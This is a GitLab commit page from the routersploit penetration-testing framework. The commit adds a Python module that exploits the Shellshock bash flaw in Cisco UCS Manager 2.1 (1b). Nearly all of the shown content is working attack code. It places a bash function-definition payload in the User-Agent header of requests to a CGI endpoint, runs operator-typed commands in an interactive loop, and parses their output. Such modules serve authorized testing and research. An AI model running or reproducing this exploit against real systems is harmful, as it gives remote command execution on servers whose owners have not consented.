Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
fd90db35
Commit
fd90db35
authored
Apr 06, 2016
by
Marcin Bury
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
cisco ucs manager exploit rce - shellshock
parent
4fc0d9b2
Hide whitespace changes
Inline
Side-by-side
Showing
2 changed files
with
82 additions
and
0 deletions
+82
-0
__init__.py
routersploit/modules/exploits/cisco/__init__.py
+0
-0
ucs_manager_rce.py
routersploit/modules/exploits/cisco/ucs_manager_rce.py
+82
-0
No files found.
routersploit/modules/exploits/cisco/__init__.py
0 → 100644
View file @
fd90db35
routersploit/modules/exploits/cisco/ucs_manager_rce.py
0 → 100644
View file @
fd90db35
import
requests
import
re
from
routersploit
import
*
class
Exploit
(
exploits
.
Exploit
):
"""
Exploit implementation for Cisco UCS Manager 2.1 (1b) Remote Code Execution vulnerability.
If the target is vulnerable, command loop is invoked that allows executing commands on operating system level.
"""
__info__
=
{
'name'
:
'Cisco UCS Manager RCE'
,
'description'
:
'Module exploits Cisco UCS Manager 2.1 (1b) Remote Code Execution vulnerability which allows executing commands on operating system level.'
,
'authors'
:
[
'thatchriseckert'
,
# vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>'
,
# routersploit module
],
'references'
:
[
'https://www.exploit-db.com/exploits/39568/'
,
'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140926-bash'
,
],
'targets'
:
[
'Cisco UCS Manager 2.1 (1b)'
,
]
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
def
run
(
self
):
if
self
.
check
()
==
True
:
print_success
(
"Target is vulnerable"
)
print_status
(
"Invoking command loop..."
)
self
.
command_loop
()
else
:
print_error
(
"Target is not vulnerable"
)
def
command_loop
(
self
):
while
1
:
cmd
=
raw_input
(
"cmd > "
)
print
self
.
execute
(
cmd
)
def
execute
(
self
,
cmd
):
url
=
sanitize_url
(
"{}:{}/ucsm/isSamInstalled.cgi"
.
format
(
self
.
target
,
self
.
port
))
headers
=
{
"User-Agent"
:
'() { test;};echo
\"
Content-type: text/plain
\"
; echo; echo; echo ffffffffffffffff; echo "$(
%
s)"; echo ffffffffffffffff;'
%
cmd
}
try
:
r
=
requests
.
get
(
url
,
headers
=
headers
,
verify
=
False
)
res
=
r
.
text
except
requests
.
exceptions
.
MissingSchema
:
return
"Invalid URL format:
%
s"
%
url
except
requests
.
exceptions
.
ConnectionError
:
return
"Connection error:
%
s"
%
url
if
'ffffffffffffffff'
in
res
:
res
=
re
.
findall
(
"ffffffffffffffff(|.+?)ffffffffffffffff"
,
res
,
re
.
DOTALL
)
if
len
(
res
):
return
res
[
0
]
return
False
def
check
(
self
):
# meaby random mark should be implemented
url
=
sanitize_url
(
"{}:{}/ucsm/isSamInstalled.cgi"
.
format
(
self
.
target
,
self
.
port
))
headers
=
{
"User-Agent"
:
'() { test;};echo
\"
Content-type: text/plain
\"
; echo; echo; echo 9fdbd928b52c1ef61615a6fd2e8b49af;'
}
try
:
r
=
requests
.
get
(
url
,
headers
=
headers
,
verify
=
False
)
res
=
r
.
text
except
:
return
None
if
"9fdbd928b52c1ef61615a6fd2e8b49af"
in
res
:
return
True
return
False
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment